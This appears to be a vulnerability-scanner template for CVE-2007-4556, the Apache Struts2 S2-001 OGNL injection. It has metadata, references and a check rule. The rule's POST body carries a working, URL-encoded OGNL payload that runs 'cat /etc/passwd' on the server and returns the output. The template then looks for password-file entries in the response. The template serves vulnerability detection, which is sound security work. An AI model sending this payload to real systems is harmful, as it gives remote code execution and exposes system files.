id: CVE-2007-4556
info:
name: OpenSymphony XWork/Apache Struts2 - Remote Code Execution S2-001
author: pikpikcu
severity: critical
description: |
Apache Struts support in OpenSymphony XWork before 1.2.3, and 2.x before 2.0.4, as used in WebWork and Apache Struts, recursively evaluates all input as an Object-Graph Navigation Language (OGNL) expression when altSyntax is enabled, which allows remote attackers to cause a denial of service (infinite loop) or execute arbitrary code via for"m input beginning with a "%{" sequence and ending with a "}" character.
reference:
- https://www.guildhab.top/?p=2326
- https://nvd.nist.gov/vuln/detail/CVE-2007-4556
- https://cwiki.apache.org/confluence/display/WW/S2-001
- http://forums.opensymphony.com/ann.jspa?annID=54
rules:
r0:
request:
method: POST
path: /login.action
body: |
username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0()